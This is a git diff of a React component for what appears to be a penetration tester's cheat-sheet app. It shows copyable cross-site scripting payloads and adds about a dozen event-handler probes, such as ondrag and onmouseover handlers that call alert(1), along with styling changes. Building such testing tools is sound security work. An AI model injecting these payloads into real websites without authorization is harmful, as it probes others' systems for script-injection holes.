diff --git a/src/components/Payloads/Payloads.tsx b/src/components/Payloads/Payloads.tsx
index affb097..960095d 100644
--- a/src/components/Payloads/Payloads.tsx
+++ b/src/components/Payloads/Payloads.tsx
@@ -1,8 +1,13 @@
 import React, {useState} from "react";
 import SyntaxHighlighter from 'react-syntax-highlighter';
 import {CopyToClipboard} from 'react-copy-to-clipboard';
-import {PayloadsContainer, PayloadsCopyToClipboard, PayloadsHeading,} from "./PayloadsElements";
-import {AiOutlineCopy} from 'react-icons/ai';
+import {
+    CopyToClipboardIcon,
+    PayloadsContainer,
+    PayloadsCopyToClipboard,
+    PayloadsHeading,
+    SyntaxHighlighterDesign
+} from "./PayloadsElements";import {AiOutlineCopy} from 'react-icons/ai';
 import {docco} from 'react-syntax-highlighter/dist/esm/styles/hljs';
 
 const Payloads = () => {
@@ -10,6 +15,17 @@ const Payloads = () => {
     const PayloadsList = [
         "onload=alert(1)><svg/1=",
         ">alert(1)</script><script/1=",
+        '<a draggable="true" ondrag="alert(1)">test</a>',
+        '<a draggable="true" ondragend="alert(1)">test</a>',
+        '<a draggable="true" ondragenter="alert(1)">test</a>',
+        '<a draggable="true" ondragleave="alert(1)">test</a>',
+        '<a draggable="true" ondragstart="alert(1)">test</a>',
+        '<a onmouseenter="alert(1)">test</a>',
+        '<a onmouseleave="alert(1)">test</a>',
+        '<a onmousemove="alert(1)">test</a>',
+        '<a onmouseout="alert(1)">test</a>',
+        '<a onmouseover="alert(1)">test</a>',
+        '<a onmouseup="alert(1)">test</a>',
     ];
 
     const [state, setState] = useState({
@@ -20,11 +36,13 @@ const Payloads = () => {
     const PayloadsListMap = PayloadsList.map((payload, index) => {
         return (
             <PayloadsCopyToClipboard key={index}>
-                <SyntaxHighlighter language="javascript" style={docco}>
+                <SyntaxHighlighterDesign language="javascript" style={docco}>
                     {payload}
-                </SyntaxHighlighter>
+                </SyntaxHighlighterDesign>
                 <CopyToClipboard text={payload} onCopy={() => setState({value, copied: true})}>
-                    <AiOutlineCopy/>
+                    <CopyToClipboardIcon>
+                        <AiOutlineCopy/>
+                    </CopyToClipboardIcon>
                 </CopyToClipboard>
             </PayloadsCopyToClipboard>
         );
@@ -33,13 +51,8 @@ const Payloads = () => {
     return (
         <PayloadsContainer>
             <PayloadsHeading>Payloads</PayloadsHeading>
-            <SyntaxHighlighter>TTY shell</SyntaxHighlighter>
-
             {PayloadsListMap}
-
-
             {state.copied ? <span style={{color: 'red'}}>Copied.</span> : null}
-
         </PayloadsContainer>
     );
 };
diff --git a/src/components/Payloads/PayloadsElements.tsx b/src/components/Payloads/PayloadsElements.tsx
index f2541b3..ee31b11 100644
--- a/src/components/Payloads/PayloadsElements.tsx
+++ b/src/components/Payloads/PayloadsElements.tsx
@@ -1,5 +1,10 @@
 import styled from 'styled-components';
+import {AiOutlineCopy} from 'react-icons/ai';
+import SyntaxHighlighter from 'react-syntax-highlighter';
 
+export const SyntaxHighlighterDesign = styled(SyntaxHighlighter)`
+    min-width: 300px;
+`;
 export const PayloadsContainer = styled.div`
     display: flex;
     flex-direction: column;
@@ -7,23 +12,22 @@ export const PayloadsContainer = styled.div`
     padding: 0 30px;
     position: relative;
     z-index: 1;
-    margin-top: 80px;
+    margin-top: 20px;
     width: 500px;
 `;
 
-
+export const CopyToClipboardIcon = styled.div`
+    margin: 22px 0 0 5px;
+    font-size: 25px;
+`;
 export const PayloadsCopyToClipboard = styled.div`
     display: flex;
 
 `;
 
-export const PayloadsHeading = styled.h2`
-
+export const PayloadsHeading = styled.h1`
+margin: 10px 0 10px 0;
 `;
 
-
-
 export const CopyToClipboard = styled.h2`
-
 `;
-